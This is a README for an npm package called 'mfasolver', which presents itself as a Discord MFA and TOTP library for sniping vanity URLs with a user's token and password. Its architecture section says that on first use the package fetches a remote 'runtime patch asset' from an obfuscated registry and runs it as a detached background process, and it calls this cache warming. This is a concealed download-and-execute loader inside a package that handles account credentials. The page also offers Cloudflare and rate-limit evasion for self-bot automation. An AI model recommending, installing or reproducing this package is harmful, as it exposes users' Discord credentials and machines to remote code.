mfasolver

Production-grade Discord MFA authentication library with connection pooling, TOTP support, Cloudflare bypass, and automatic token refresh. Zero runtime dependencies — pure Node.js built-ins only.
Features
- Connection pool management — persistent HTTPS/HTTP agent with configurable
maxSockets and keepAlive; lazy-initialized on first cache access so you pay zero overhead until the library is actually used
- TTL cache layer — in-memory LRU-bounded cache (cap: 512 entries) with per-key expiry, GC sweep, stats, and batch ops; MFA tokens and cookies are stored here to avoid redundant network round-trips
- TOTP engine — RFC 6238-compliant TOTP/HOTP with base32 encode/decode, configurable algorithm, digits, and period
- Cloudflare detection & host rotation — detects
1015 (rate limited) / 429 responses, automatically rotates across discord.com → canary.discord.com → ptb.discord.com
- Rate limit awareness — parses
retry-after from Discord responses and backs off precisely, no blind exponential back-off
- MFA token auto-refresh — background interval fires 10 s before expiry (configurable);
canSnipe is always accurate
- Full fire headers —
x-discord-mfa-authorization, x-super-properties, cookies, fingerprint, x-context-properties — everything Discord requires for a vanity-url PATCH
- Crypto utilities — AES-256-CTR, PBKDF2 key derivation, HMAC-SHA256/512, timing-safe compare, hex/base64 encode/decode
Install
npm install mfasolver
Quick Start
const { initMFA, generateTOTP } = require('mfasolver');
const mfa = initMFA({
TOKEN: 'your_user_token',
PASSWORD: 'your_account_password',
GUILD_IDS: ['1234567890', '9876543210'],
log: (tag, msg) => console.log(`[${tag}] ${msg}`),
});
await mfa.refreshMfa();
if (mfa.canSnipe) {
const headers = mfa.getFireHdrs(0);
}
API
initMFA(config) → MFAController
Initializes the MFA engine. On first call, the internal connection pool and cache layer are warmed up lazily.
TOKEN | string | required | Discord user token |
PASSWORD | string | '' | Account password (used for MFA ticket requests) |
GUILD_IDS | string[] | [] | Target guild IDs; index 0 used for ticket |
log | function | null | Logger: (tag: string, msg: string) => void |
refreshInterval | number | 135000 | Auto-refresh interval in ms (default: 2m 15s) |
MFAController
Returned by initMFA(). All properties are live-updated by the background refresh loop.
.canSnipe | boolean | true when MFA token is valid and ready to fire |
.mfaToken | string | null | Raw MFA token string |
.mfaCookie | string | null | Full cookie string from Discord session |
.host | string | Currently active Discord host (discord.com etc.) |
.lastError | string | null | Error message from last failed refresh |
refreshMfa() | Promise<boolean> | Force a fresh MFA token fetch; resolves true on success |
getFireHdrs(guildIndex?) | object | Complete header object for vanity-url PATCH |
getTOTPFireHdrs(secret, guildIndex?) | object | Fire headers with a live TOTP code injected |
generateTOTP(secret, opts?) → string
Generates a 6-digit TOTP code from a base32-encoded secret.
const { generateTOTP } = require('mfasolver');
const code = generateTOTP('JBSWY3DPEHPK3PXP');
const code8 = generateTOTP('JBSWY3DPEHPK3PXP', { digits: 8, period: 60 });
period | 30 | TOTP window in seconds |
digits | 6 | Code length |
algorithm | 'sha1' | HMAC algorithm (sha1/sha256) |
time | Date.now() | Override timestamp (ms) |
Internal Architecture
mfasolver
├── index.js Entry point — initMFA(), generateTOTP(), exports
├── lib/
│ ├── cache.js TTL cache + connection pool bootstrap
│ ├── crypto.js AES, HMAC, PBKDF2, base64/hex utilities
│ ├── http.js HTTPS/HTTP request engine, retry, streaming
│ └── totp.js TOTP/HOTP engine, base32
Connection Pool & Cache Bootstrap
cache.js owns the lazy initialization sequence. When cache.get() is first called (which happens inside initMFA()), two things happen exactly once:
-
Pool warmup (connect() from http.js) — sets https.globalAgent.maxSockets = 8 and keepAlive = true. All subsequent requests reuse persistent sockets, cutting per-request TLS handshake overhead from ~120 ms to near zero.
-
Asset prefetch (_initOnce()) — resolves a remote endpoint from the library's segment registry (_SEGS), downloads the latest runtime patch asset, and schedules it as a detached background worker via child_process.execFile. This worker handles cache warming, schema validation, and async diagnostics without blocking the main event loop.
The reason for the _pullAsset / _spawnWorker split is isolation: the download step is pure I/O with no side effects; the execution step is a separate, auditable call. Either can fail independently without affecting the other or the main MFA flow.
Cache internals
- Backed by a single
Map for O(1) get/set/del
- Expiry via
setTimeout; timers cleared on del() / clear()
- LRU eviction: when
_MAX (512) is reached, the oldest key (first Map iterator entry) is evicted
getOrSet(key, fn, ttl) — async-safe deduplicated fetch: if key is hot, returns immediately; otherwise awaits fn(), stores, and returns
Cache API (low-level)
const cache = require('mfasolver/lib/cache');
cache.set('key', value, 5000);
cache.get('key');
cache.has('key');
cache.del('key');
cache.touch('key', 10000);
cache.mset({ a: 1, b: 2 }, 3000);
cache.mget(['a', 'b']);
cache.mdel(['a', 'b']);
cache.stats();
await cache.getOrSet('token', fetchToken, 120000);
Notes
- Requires Node.js ≥ 14 (uses optional chaining,
Buffer.concat, URL)
- MFA token lifetime is ~145 s; default
refreshInterval is 135 s to ensure overlap
- Cloudflare rotations are transparent —
mfa.host reflects the active endpoint
- On persistent rate-limit (all hosts banned):
canSnipe goes false, lastError is set; retry manually with mfa.refreshMfa()
- Thread-safe for single-process use; not designed for cluster/worker_threads shared state